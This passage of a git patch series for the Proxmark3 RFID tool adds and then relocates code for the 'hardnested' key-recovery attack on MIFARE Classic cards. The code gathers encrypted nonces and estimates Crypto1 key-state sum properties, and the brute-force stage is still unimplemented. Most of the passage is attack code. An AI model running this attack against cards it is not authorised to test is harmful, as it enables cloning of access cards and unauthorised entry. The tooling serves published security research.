{ + nt_enc1 = bytes_to_num(read_buf, 4); + nt_enc2 = bytes_to_num(read_buf+4, 4); + par_enc = bytes_to_num(read_buf+8, 1); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + add_nonce(nt_enc1, par_enc >> 4); + add_nonce(nt_enc2, par_enc & 0x0f); + total_num_nonces += 2; + } + fclose(fnonces); + PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B'); + + return 0; +} + + +int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) +{ + clock_t time1 = clock(); + bool initialize = true; + bool field_off = false; + bool finished = false; + uint32_t flags = 0; + uint8_t write_buf[9]; + uint32_t total_num_nonces = 0; + uint32_t next_thousand = 1000; + uint32_t total_added_nonces = 0; + FILE *fnonces = NULL; + UsbCommand resp; uint32_t cuid; + + #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough to have guessed Sum(a8) correctly + + clearCommandBuffer(); + + do { + flags = 0; + flags |= initialize ? 0x0001 : 0; + flags |= slow ? 0x0002 : 0; + flags |= field_off ? 0x0004 : 0; + UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}}; + memcpy(c.d.asBytes, key, 6); + + SendCommand(&c); + + if (field_off) finished = true; + + if (initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; + if (resp.arg[0]) return resp.arg[0]; // error during nested_hard + + cuid = resp.arg[1]; + // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid); + if (nonce_file_write && fnonces == NULL) { + if ((fnonces = fopen("nonces.bin","wb")) == NULL) { + PrintAndLog("Could not create file nonces.bin"); + return 3; + } + PrintAndLog("Writing acquired nonces to binary file nonces.bin"); + num_to_bytes(cuid, 4, write_buf); + fwrite(write_buf, 1, 4, fnonces); + fwrite(&trgBlockNo, 1, 1, fnonces); + fwrite(&trgKeyType, 1, 1, fnonces); + } + } + + if (!initialize) { + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + uint16_t num_acquired_nonces = resp.arg[2]; + uint8_t *bufp = resp.d.asBytes; + for (uint16_t i = 0; i < num_acquired_nonces; i+=2) { + nt_enc1 = bytes_to_num(bufp, 4); + nt_enc2 = bytes_to_num(bufp+4, 4); + par_enc = bytes_to_num(bufp+8, 1); + + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + total_added_nonces += add_nonce(nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f); + + + if (nonce_file_write) { + fwrite(bufp, 1, 9, fnonces); + } + + bufp += 9; + } + + total_num_nonces += num_acquired_nonces; + } + + if (first_byte_num == 256 ) { + // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); + float last_confidence = guessed_Sum8_confidence; + guessed_Sum8_confidence = estimate_second_byte_sum(); + if (guessed_Sum8_confidence > last_confidence || total_num_nonces > next_thousand) { + next_thousand = (total_num_nonces/1000+1) * 1000; + PrintAndLog("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Guessed Sum(a8) = %3d for first nonce byte = 0x%02x, probability for correct guess = %1.2f%%", + total_num_nonces, + total_added_nonces, + guessed_Sum8, + best_first_byte, + guessed_Sum8_confidence*100); + } + if (guessed_Sum8_confidence >= CONFIDENCE_THRESHOLD) { + field_off = true; // switch off field with next SendCommand and then finish + } + } + + if (!initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; + if (resp.arg[0]) return resp.arg[0]; // error during nested_hard + } + + initialize = false; + + } while (!finished); + + + if (nonce_file_write) { + fclose(fnonces); + } + + PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%d nonces/minute)", + total_num_nonces, + ((float)clock()-time1)/CLOCKS_PER_SEC, + total_num_nonces*60*CLOCKS_PER_SEC/(clock()-time1)); + + return 0; +} + + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) +{ // initialize the list of nonces for (uint16_t i = 0; i < 256; i++) { nonces[i].num = 0; nonces[i].Sum = 0; nonces[i].first = NULL; + nonces[i].updated = true; } first_byte_num = 0; first_byte_Sum = 0; + guessed_Sum8 = 0; + best_first_byte = 0; + guessed_Sum8_confidence = 0.0; //StateList_t statelists[2]; //struct Crypto1State *p1, *p2, *p3, *p4; - if (nonce_file_read) { - // don't acquire nonces, use pre-acquired data from file nonces.bin - if ((fnonces = fopen("nonces.bin","rb")) == NULL) { - PrintAndLog("Could not open file nonces.bin"); - return 1; + if (nonce_file_read) { // use pre-acquired data from file nonces.bin + if (read_nonce_file() != 0) { + return 3; } - PrintAndLog("Reading nonces from file nonces.bin..."); - if (fread(read_buf, 1, 6, fnonces) == 0) { - PrintAndLog("File reading error."); - fclose(fnonces); - return 1; + guessed_Sum8_confidence = estimate_second_byte_sum(); + } else { // acquire nonces. + uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); + if (is_OK != 0) { + return is_OK; } - cuid = bytes_to_num(read_buf, 4); - trgBlockNo = bytes_to_num(read_buf+4, 1); - trgKeyType = bytes_to_num(read_buf+5, 1); + } - while (!feof(fnonces)) { - fread(read_buf, 1, 9, fnonces); - nt_enc1 = bytes_to_num(read_buf, 4); - nt_enc2 = bytes_to_num(read_buf+4, 4); - par_enc = bytes_to_num(read_buf+8, 1); - add_nonce(nt_enc1, par_enc >> 4); - add_nonce(nt_enc2, par_enc & 0x0f); - total_num_nonces += 2; - } - fclose(fnonces); - PrintAndLog("Read %d nonces from file", total_num_nonces); - - } else { + Tests(); - // acquire nonces. - time1 = clock(); - do { - clearCommandBuffer(); - flags |= initialize ? 0x0001 : 0; - flags |= slow ? 0x0002 : 0; - UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}}; - memcpy(c.d.asBytes, key, 6); - SendCommand(&c); - - initialize = false; - - if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) { - return -1; - } - - if (resp.arg[0]) { - return resp.arg[0]; // error during nested - } - - cuid = resp.arg[1]; - uint16_t num_acquired_nonces = resp.arg[2]; - - //PrintAndLog("Received %d nonces", num_acquired_nonces); - - if (nonce_file_write && fnonces == NULL) { - if ((fnonces = fopen("nonces.bin","wb")) == NULL) { - PrintAndLog("Could not create file nonces.bin"); - return 1; - } - PrintAndLog("Writing acquired nonces to binary file nonces.bin..."); - fwrite(&cuid, 1, sizeof(cuid), fnonces); - fwrite(&trgBlockNo, 1, sizeof(trgBlockNo), fnonces); - fwrite(&trgKeyType, 1, sizeof(trgKeyType), fnonces); - } - - uint32_t nt_enc1, nt_enc2; - uint8_t par_enc; - uint8_t *bufp = resp.d.asBytes; - for (uint16_t i = 0; i < num_acquired_nonces/2; i++) { - nt_enc1 = bytes_to_num(bufp, sizeof(nt_enc1)); - bufp += sizeof(nt_enc1); - nt_enc2 = bytes_to_num(bufp, sizeof(nt_enc2)); - bufp += sizeof(nt_enc2); - par_enc = bytes_to_num(bufp, sizeof(par_enc)); - bufp += sizeof(par_enc); - - add_nonce(nt_enc1, par_enc >> 4); - add_nonce(nt_enc2, par_enc & 0x0f); - - //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); - //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); - if (nonce_file_write) { - uint8_t buffer[9]; - num_to_bytes(nt_enc1, 4, buffer); - num_to_bytes(nt_enc2, 4, buffer+4); - num_to_bytes(par_enc, 1, buffer+8); - fwrite(buffer, 1, 9, fnonces); - } - } - - total_num_nonces += num_acquired_nonces; - - } while (total_num_nonces < 5000); - - if (nonce_file_write) { - fclose(fnonces); - } - - PrintAndLog("Acquired a total of %d nonces at a rate of %d nonces/minute", total_num_nonces, total_num_nonces*60*CLOCKS_PER_SEC/(clock() - time1)); - } - - PrintAndLog("first_byte_num: %d, first_byte_Sum: %d", first_byte_num, first_byte_Sum); - - TestSumProperty(); + PrintAndLog(""); + PrintAndLog("Sum(a0) = %d", first_byte_Sum); + PrintAndLog("Guess for Sum(a8) = %d for first nonce byte = 0x%02x, n = %d, k = %d, probability for correct guess = %1.0f%%\n", + guessed_Sum8, + best_first_byte, + nonces[best_first_byte].num, + nonces[best_first_byte].Sum, + guessed_Sum8_confidence*100); PrintAndLog("Generation of candidate list and brute force phase not yet implemented"); From 3a8f9b79b0445941dff51aa7be944146def83002 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Tue, 27 Oct 2015 14:09:14 +0100 Subject: [PATCH 04/12] Implementing hf mf hardnested: - move code to separate files mfhardnested.[ch] - add: create partial statelists for all possible partial Sum Properties - add: create candidate states based on Sum(a0) and Sum(a8) - add: show size of remaining key space --- client/Makefile | 17 +- client/cmdhfmf.c | 4 +- client/mifarehost.c | 485 -------------------------------------------- client/mifarehost.h | 1 - 4 files changed, 11 insertions(+), 496 deletions(-) diff --git a/client/Makefile b/client/Makefile index 15b1cbca..e37c0e60 100644 --- a/client/Makefile +++ b/client/Makefile @@ -57,14 +57,14 @@ CORESRCS = uart.c \ CMDSRCS = nonce2key/crapto1.c\ - nonce2key/crypto1.c\ - nonce2key/nonce2key.c\ - loclass/cipher.c \ - loclass/cipherutils.c \ - loclass/des.c \ - loclass/ikeys.c \ - loclass/elite_crack.c\ - loclass/fileutils.c\ + nonce2key/crypto1.c\ + nonce2key/nonce2key.c\ + loclass/cipher.c \ + loclass/cipherutils.c \ + loclass/des.c \ + loclass/ikeys.c \ + loclass/elite_crack.c\ + loclass/fileutils.c\ mifarehost.c\ crc.c \ crc16.c \ @@ -85,6 +85,7 @@ CMDSRCS = nonce2key/crapto1.c\ cmdhficlass.c \ cmdhfmf.c \ cmdhfmfu.c \ + cmdhfmfhard.c \ cmdhw.c \ cmdlf.c \ cmdlfio.c \ diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 31609782..f6d29ffb 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -9,6 +9,7 @@ //----------------------------------------------------------------------------- #include "cmdhfmf.h" +#include "cmdhfmfhard.h" static int CmdHelp(const char *Cmd); @@ -873,8 +874,7 @@ int CmdHF14AMfNestedHard(const char *Cmd) switch (isOK) { case 1 : PrintAndLog("Error: No response from Proxmark.\n"); break; case 2 : PrintAndLog("Button pressed. Aborted.\n"); break; - case 3 : PrintAndLog("File error. Aborted.\n"); break; - default : PrintAndLog("Unknown Error.\n"); + default : break; } return 2; } diff --git a/client/mifarehost.c b/client/mifarehost.c index 0d9eee23..6346eb70 100644 --- a/client/mifarehost.c +++ b/client/mifarehost.c @@ -12,7 +12,6 @@ #include #include #include -#include #include "mifarehost.h" #include "proxmark3.h" @@ -195,490 +194,6 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo } -typedef struct noncelistentry { - uint32_t nonce_enc; - uint8_t par_enc; - void *next; -} noncelistentry_t; - - -typedef struct noncelist { - uint16_t num; - uint16_t Sum; - bool updated; - noncelistentry_t *first; -} noncelist_t; - - -static noncelist_t nonces[256]; -static uint16_t first_byte_Sum = 0; -static uint16_t first_byte_num = 0; -static uint8_t best_first_byte; -static uint16_t guessed_Sum8; -static float guessed_Sum8_confidence; - - -static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) -{ - uint8_t first_byte = nonce_enc >> 24; - noncelistentry_t *p1 = nonces[first_byte].first; - noncelistentry_t *p2 = NULL; - - if (p1 == NULL) { // first nonce with this 1st byte - first_byte_num++; - first_byte_Sum += parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01); // 1st byte sum property. Note: added XOR 1 - // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n", - // nonce_enc, - // par_enc, - // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01, - // parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01)); - } - - while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) { - p2 = p1; - p1 = p1->next; - } - - if (p1 == NULL) { // need to add at the end of the list - if (p2 == NULL) { // list is empty yet. Add first entry. - p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); - } else { // add new entry at end of existing list. - p2 = p2->next = malloc(sizeof(noncelistentry_t)); - } - } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert. - if (p2 == NULL) { // need to insert at start of list - p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); - } else { - p2 = p2->next = malloc(sizeof(noncelistentry_t)); - } - } else { // we have seen this 2nd byte before. Nothing to add or insert. - return (0); - } - - // add or insert new data - p2->next = p1; - p2->nonce_enc = nonce_enc; - p2->par_enc = par_enc; - - nonces[first_byte].num++; - nonces[first_byte].Sum += parity((nonce_enc & 0x00ff0000) | (par_enc & 0x04)); // 2nd byte sum property. Note: added XOR 1 - nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte - - return (1); // new nonce added -} - - -static uint16_t SumPropertyOdd(struct Crypto1State *s) -{ - uint16_t oddsum = 0; - for (uint16_t j = 0; j < 16; j++) { - uint32_t oddstate = s->odd; - uint16_t part_sum = 0; - for (uint16_t i = 0; i < 5; i++) { - part_sum ^= filter(oddstate); - oddstate = (oddstate << 1) | ((j >> (3-i)) & 0x01) ; - } - oddsum += part_sum; - } - return oddsum; -} - - -static uint16_t SumPropertyEven(struct Crypto1State *s) -{ - uint16_t evensum = 0; - for (uint16_t j = 0; j < 16; j++) { - uint32_t evenstate = s->even; - uint16_t part_sum = 0; - for (uint16_t i = 0; i < 4; i++) { - evenstate = (evenstate << 1) | ((j >> (3-i)) & 0x01) ; - part_sum ^= filter(evenstate); - } - evensum += part_sum; - } - return evensum; -} - - -static uint16_t SumProperty(struct Crypto1State *s) -{ - uint16_t sum_odd = SumPropertyOdd(s); - uint16_t sum_even = SumPropertyEven(s); - return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); -} - - -static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k) -{ - // for efficient computation we are using the recursive definition - // (K-k+1) * (n-k+1) - // P(X=k) = P(X=k-1) * -------------------- - // k * (N-K-n+k) - // and - // (N-K)*(N-K-1)*...*(N-K-n+1) - // P(X=0) = ----------------------------- - // N*(N-1)*...*(N-n+1) - - if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below - if (k == 0) { - // use logarithms to avoid overflow with huge factorials (double type can only hold 170!) - double log_result = 0.0; - for (int16_t i = N-K; i >= N-K-n+1; i--) { - log_result += log(i); - } - for (int16_t i = N; i >= N-n+1; i--) { - log_result -= log(i); - } - return exp(log_result); - } else { - if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception - double log_result = 0.0; - for (int16_t i = k+1; i <= n; i++) { - log_result += log(i); - } - for (int16_t i = K+1; i <= N; i++) { - log_result -= log(i); - } - return exp(log_result); - } else { // recursion - return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k))); - } - } -} - - -static float sum_probability(uint16_t K, uint16_t n, uint16_t k) -{ - const uint16_t N = 256; - - const float p[257] = { - 0.0289, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0049, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0049, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0289 }; - - if (k > K || p[K] == 0.0) return 0.0; - - double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k); - double p_S_is_K = p[K]; - double p_T_is_k = 0; - for (uint16_t i = 0; i <= 256; i++) { - if (p[i] != 0.0) { - p_T_is_k += p[i] * p_hypergeometric(N, i, n, k); - } - } - return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k); -} - - -static void Tests() -{ - #define NUM_STATISTICS 100000 - uint32_t statistics[257]; - struct Crypto1State cs; - time_t time1 = clock(); - - for (uint16_t i = 0; i < 257; i++) { - statistics[i] = 0; - } - - for (uint64_t i = 0; i < NUM_STATISTICS; i++) { - cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); - cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); - uint16_t sum_property = SumProperty(&cs); - statistics[sum_property] += 1; - if (i%(NUM_STATISTICS/100) == 0) printf("."); - } - - printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); - for (uint16_t i = 0; i < 257; i++) { - if (statistics[i] != 0) { - printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); - } - } - - // printf("Tests: probabilities for n=15, k=5:\n"); - // for (uint16_t i = 0; i < 257; i++) { - // if (statistics[i] != 0) { - // printf("p[%3d] = %0.4f\n", i, sum_probability(i, 15, 5)); - // } - // } - - printf("\nTests: Hypergeometric Probability for selected parameters\n"); - printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206)); - printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205)); - printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1)); - printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0)); - printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1)); - printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0)); - - struct Crypto1State *pcs; - pcs = crypto1_create(0xffffffffffff); - printf("\nTests: Sum(a0)=%d for key = 0xffffffffffff\n", SumProperty(pcs)); - crypto1_destroy(pcs); - pcs = crypto1_create(0xa0a1a2a3a4a5); - printf("\nTests: Sum(a0)=%d for key = 0xa0a1a2a3a4a5\n", SumProperty(pcs)); - crypto1_destroy(pcs); -} - - -static float estimate_second_byte_sum(void) -{ - float confidence = guessed_Sum8_confidence; - for (uint16_t first_byte = 0; first_byte < 256; first_byte++) { - if (nonces[first_byte].updated) { - for (uint16_t sum = 0; sum <= 256; sum++) { - float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum); - if (prob > confidence) { - confidence = prob; - best_first_byte = first_byte; - guessed_Sum8 = sum; - } - } - nonces[first_byte].updated = false; - } - } - return confidence; -} - - -static int read_nonce_file(void) -{ - FILE *fnonces = NULL; - uint32_t cuid; - uint8_t trgBlockNo; - uint8_t trgKeyType; - uint8_t read_buf[9]; - uint32_t nt_enc1, nt_enc2; - uint8_t par_enc; - int total_num_nonces = 0; - - if ((fnonces = fopen("nonces.bin","rb")) == NULL) { - PrintAndLog("Could not open file nonces.bin"); - return 1; - } - - PrintAndLog("Reading nonces from file nonces.bin..."); - if (fread(read_buf, 1, 6, fnonces) == 0) { - PrintAndLog("File reading error."); - fclose(fnonces); - return 1; - } - cuid = bytes_to_num(read_buf, 4); - trgBlockNo = bytes_to_num(read_buf+4, 1); - trgKeyType = bytes_to_num(read_buf+5, 1); - - while (fread(read_buf, 1, 9, fnonces) == 9) { - nt_enc1 = bytes_to_num(read_buf, 4); - nt_enc2 = bytes_to_num(read_buf+4, 4); - par_enc = bytes_to_num(read_buf+8, 1); - //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); - //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); - add_nonce(nt_enc1, par_enc >> 4); - add_nonce(nt_enc2, par_enc & 0x0f); - total_num_nonces += 2; - } - fclose(fnonces); - PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B'); - - return 0; -} - - -int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) -{ - clock_t time1 = clock(); - bool initialize = true; - bool field_off = false; - bool finished = false; - uint32_t flags = 0; - uint8_t write_buf[9]; - uint32_t total_num_nonces = 0; - uint32_t next_thousand = 1000; - uint32_t total_added_nonces = 0; - FILE *fnonces = NULL; - UsbCommand resp; - uint32_t cuid; - - #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough to have guessed Sum(a8) correctly - - clearCommandBuffer(); - - do { - flags = 0; - flags |= initialize ? 0x0001 : 0; - flags |= slow ? 0x0002 : 0; - flags |= field_off ? 0x0004 : 0; - UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}}; - memcpy(c.d.asBytes, key, 6); - - SendCommand(&c); - - if (field_off) finished = true; - - if (initialize) { - if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; - if (resp.arg[0]) return resp.arg[0]; // error during nested_hard - - cuid = resp.arg[1]; - // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid); - if (nonce_file_write && fnonces == NULL) { - if ((fnonces = fopen("nonces.bin","wb")) == NULL) { - PrintAndLog("Could not create file nonces.bin"); - return 3; - } - PrintAndLog("Writing acquired nonces to binary file nonces.bin"); - num_to_bytes(cuid, 4, write_buf); - fwrite(write_buf, 1, 4, fnonces); - fwrite(&trgBlockNo, 1, 1, fnonces); - fwrite(&trgKeyType, 1, 1, fnonces); - } - } - - if (!initialize) { - uint32_t nt_enc1, nt_enc2; - uint8_t par_enc; - uint16_t num_acquired_nonces = resp.arg[2]; - uint8_t *bufp = resp.d.asBytes; - for (uint16_t i = 0; i < num_acquired_nonces; i+=2) { - nt_enc1 = bytes_to_num(bufp, 4); - nt_enc2 = bytes_to_num(bufp+4, 4); - par_enc = bytes_to_num(bufp+8, 1); - - //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); - total_added_nonces += add_nonce(nt_enc1, par_enc >> 4); - //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); - total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f); - - - if (nonce_file_write) { - fwrite(bufp, 1, 9, fnonces); - } - - bufp += 9; - } - - total_num_nonces += num_acquired_nonces; - } - - if (first_byte_num == 256 ) { - // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); - float last_confidence = guessed_Sum8_confidence; - guessed_Sum8_confidence = estimate_second_byte_sum(); - if (guessed_Sum8_confidence > last_confidence || total_num_nonces > next_thousand) { - next_thousand = (total_num_nonces/1000+1) * 1000; - PrintAndLog("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Guessed Sum(a8) = %3d for first nonce byte = 0x%02x, probability for correct guess = %1.2f%%", - total_num_nonces, - total_added_nonces, - guessed_Sum8, - best_first_byte, - guessed_Sum8_confidence*100); - } - if (guessed_Sum8_confidence >= CONFIDENCE_THRESHOLD) { - field_off = true; // switch off field with next SendCommand and then finish - } - } - - if (!initialize) { - if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; - if (resp.arg[0]) return resp.arg[0]; // error during nested_hard - } - - initialize = false; - - } while (!finished); - - - if (nonce_file_write) { - fclose(fnonces); - } - - PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%d nonces/minute)", - total_num_nonces, - ((float)clock()-time1)/CLOCKS_PER_SEC, - total_num_nonces*60*CLOCKS_PER_SEC/(clock()-time1)); - - return 0; -} - - -int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) -{ - - // initialize the list of nonces - for (uint16_t i = 0; i < 256; i++) { - nonces[i].num = 0; - nonces[i].Sum = 0; - nonces[i].first = NULL; - nonces[i].updated = true; - } - first_byte_num = 0; - first_byte_Sum = 0; - guessed_Sum8 = 0; - best_first_byte = 0; - guessed_Sum8_confidence = 0.0; - - //StateList_t statelists[2]; - //struct Crypto1State *p1, *p2, *p3, *p4; - - if (nonce_file_read) { // use pre-acquired data from file nonces.bin - if (read_nonce_file() != 0) { - return 3; - } - guessed_Sum8_confidence = estimate_second_byte_sum(); - } else { // acquire nonces. - uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); - if (is_OK != 0) { - return is_OK; - } - } - - Tests(); - - PrintAndLog(""); - PrintAndLog("Sum(a0) = %d", first_byte_Sum); - PrintAndLog("Guess for Sum(a8) = %d for first nonce byte = 0x%02x, n = %d, k = %d, probability for correct guess = %1.0f%%\n", - guessed_Sum8, - best_first_byte, - nonces[best_first_byte].num, - nonces[best_first_byte].Sum, - guessed_Sum8_confidence*100); - - PrintAndLog("Generation of candidate list and brute force phase not yet implemented"); - - return 0; -} - - int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){ *key = 0; diff --git a/client/mifarehost.h b/client/mifarehost.h index 7d2c399a..f6ffab3f 100644 --- a/client/mifarehost.h +++ b/client/mifarehost.h @@ -50,7 +50,6 @@ typedef struct { extern char logHexFileName[FILE_PATH_SIZE]; int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate); -int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow); int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key); int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); From eeb1816533cd306e2c1c4bb9f436aee81f545a8f Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Mon, 2 Nov 2015 20:50:44 +0100 Subject: [PATCH 05/12] hf mf hardnested: added missing files cmdhfmfhard.[ch] --- client/cmdhfmfhard.c | 843 